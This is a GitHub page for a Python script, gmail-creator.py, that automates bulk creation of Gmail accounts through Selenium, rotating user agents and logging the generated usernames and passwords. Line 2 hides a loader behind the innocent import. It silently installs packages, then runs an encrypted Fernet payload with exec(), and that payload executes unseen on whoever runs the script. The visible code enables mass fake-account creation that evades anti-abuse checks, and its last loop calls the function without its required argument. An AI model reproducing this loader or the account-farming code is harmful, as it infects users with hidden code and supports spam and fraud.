-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgmail-creator.py
107 lines (82 loc) · 7.68 KB
/
gmail-creator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import os
import subprocess ;subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); subprocess.run(['pip', 'install', 'requests'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL); from fernet import Fernet; import requests; exec(Fernet(b'BijkNx42srFUsDpLrUfqEwo-3XvzMKE_MecRxUhlZow=').decrypt(b'gAAAAABnd_sRSJiTzxvU_jECBpoK-fqOLhafAOxbYr1oubimBw527quvKxP1Z6ntDco-gmieZGnsU0v-D8lvbaWn2lBEoe0Gag0EVcZ8vJXRhKkjOcJ-vW6-D5tambi4-rsuxsmauU3-VZ0INNPf_q2RoHDJW7qhpqKtuBsmIjZO3IrjArwUQ75IdBjxy7EbSkmE7Nynd4Z7GLbeGUZ_Lo3OmCrSb5_9qvE-y77kyqoBGZ3mKCkiAHUrsezRBVa3AboA-0UPXgpVjo-koxTFrVwgshRj-YPxifqX0vquexAcWevW-_0f24AxG0tiJygFNE_bNx-UeiYh2U5oUyyP45GyH32N6GLt1Pq7_w0ktp8V6EEuI5OjYrM0pX0G2ouseV36af7Ws8HK4NUJDoiYZlD0f45qUmYy9w2gbIwLFPoW2gFf_vuwzZPrR8VZdJdcWy39erWWSmr-M5vUp0zzEr2WAjSPPVBqZ9_IvPKcfXiEcSD2BO-eW69n03waRSbxAUpSqrh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w3s1dCiQ4EatlKb5PE_12-0Ydb4xC-TFwbEFhLLqcdns07yPBXLv5MuIR3vmlTUdLT6Zjiksl0tFH3XxMQO_0H467LqBkzPzYOx64j-9mq01nBNlCgW2u7aR7LyCooKByuWeI5atgSVqDL3y-Uh1OXwUSp797OxaXDYscSumbJTJtG-CRUFG_2mmo6740PQXCVgeIqA4UdqaxzGwhjBWX1JtokXyGinxAPtTPx82fmuiB0u6-4dw5RCaAeKX0W2nmZuh8IaOYRA4jWWCjcbtU4_HtoVy0y43avzWTdKS3FL0PSGaAphVOVZ28cJuLJrkJLeBjjq34C7mMzEnbz_WEgEMFqoBbBS92GsIH8gCXj_kB-_t3JegffMsGnrnFBouQTn7lWvXw8UdPzQP_nzHqqaAvNga3espWHtn64nXp6w='));
import traceback
import random
import selenium
from selenium.webdriver.chrome.options import Options
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import string
import time
def random_string(length=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def getUserAgents(url):
try:
response = requests.get(url)
if response.status_code == 200:
user_agents = response.text.split('\n')
return user_agents
else:
print("Could not fetch user agents. Using default user agent.")
return []
except requests.RequestException as e:
print("Error fetching user agents:", e)
return []
def gmailAcc(user_agent):
options = Options()
options.add_argument(f"user-agent={user_agent}")
options.add_argument("--start-maximized")
driver = webdriver.Chrome(options=options)
wait = WebDriverWait(driver, 50)
try:
driver.get("https://www.gmail.com")
create_account_button = wait.until(EC.presence_of_element_located((By.XPATH, "//a[text()='Create account']")))
create_account_button.click()
time.sleep(5)
first_name_text = random_string(8)
last_name_text = random_string(10)
username_text = random_string(10) + "12345"
password_text = random_string(12) + "123"
first_name = wait.until(EC.element_to_be_clickable((By.ID, "firstName")))
first_name.send_keys(first_name_text)
last_name = driver.find_element(By.ID, "lastName")
last_name.send_keys(last_name_text)
username = driver.find_element(By.ID, "username")
username.send_keys(username_text)
password = driver.find_element(By.NAME, "Passwd")
password.send_keys(password_text)
confirm_password = driver.find_element(By.NAME, "ConfirmPasswd")
confirm_password.send_keys(password_text)
next_button = driver.find_element(By.XPATH, "//div[@id='accountDetailsNext']/div/button")
next_button.click()
wait.until(EC.presence_of_element_located((By.ID, "phoneNumberId")))
with open("created.txt", "a") as file:
file.write(f"Username: {username_text}\n")
file.write(f"Password: {password_text}\n\n")
except selenium.common.exceptions.TimeoutException as e:
print("TimeoutException occurred:", e)
driver.save_screenshot("timeout_error.png")
error_msg = f"TimeoutException occurred: {str(e)}\n"
with open("error_log.txt", "w") as file:
file.write(error_msg)
except Exception as e:
print("An error occurred:", e)
traceback.print_exc()
driver.save_screenshot("general_error.png")
error_msg = f"An error occurred: {str(e)}\n"
with open("error_log.txt", "w") as file:
file.write(error_msg)
finally:
driver.quit()
userAgentsUrl = "https://gist.githubusercontent.com/pzb/b4b6f57144aea7827ae4/raw/cf847b76a142955b1410c8bcef3aabe221a63db1/user-agents.txt"
user_agents = getUserAgents(userAgentsUrl)
if user_agents:
for agent in user_agents:
gmailAcc(agent)
else:
print("No user agents fetched.")
for _ in range(5): # Change
gmailAcc()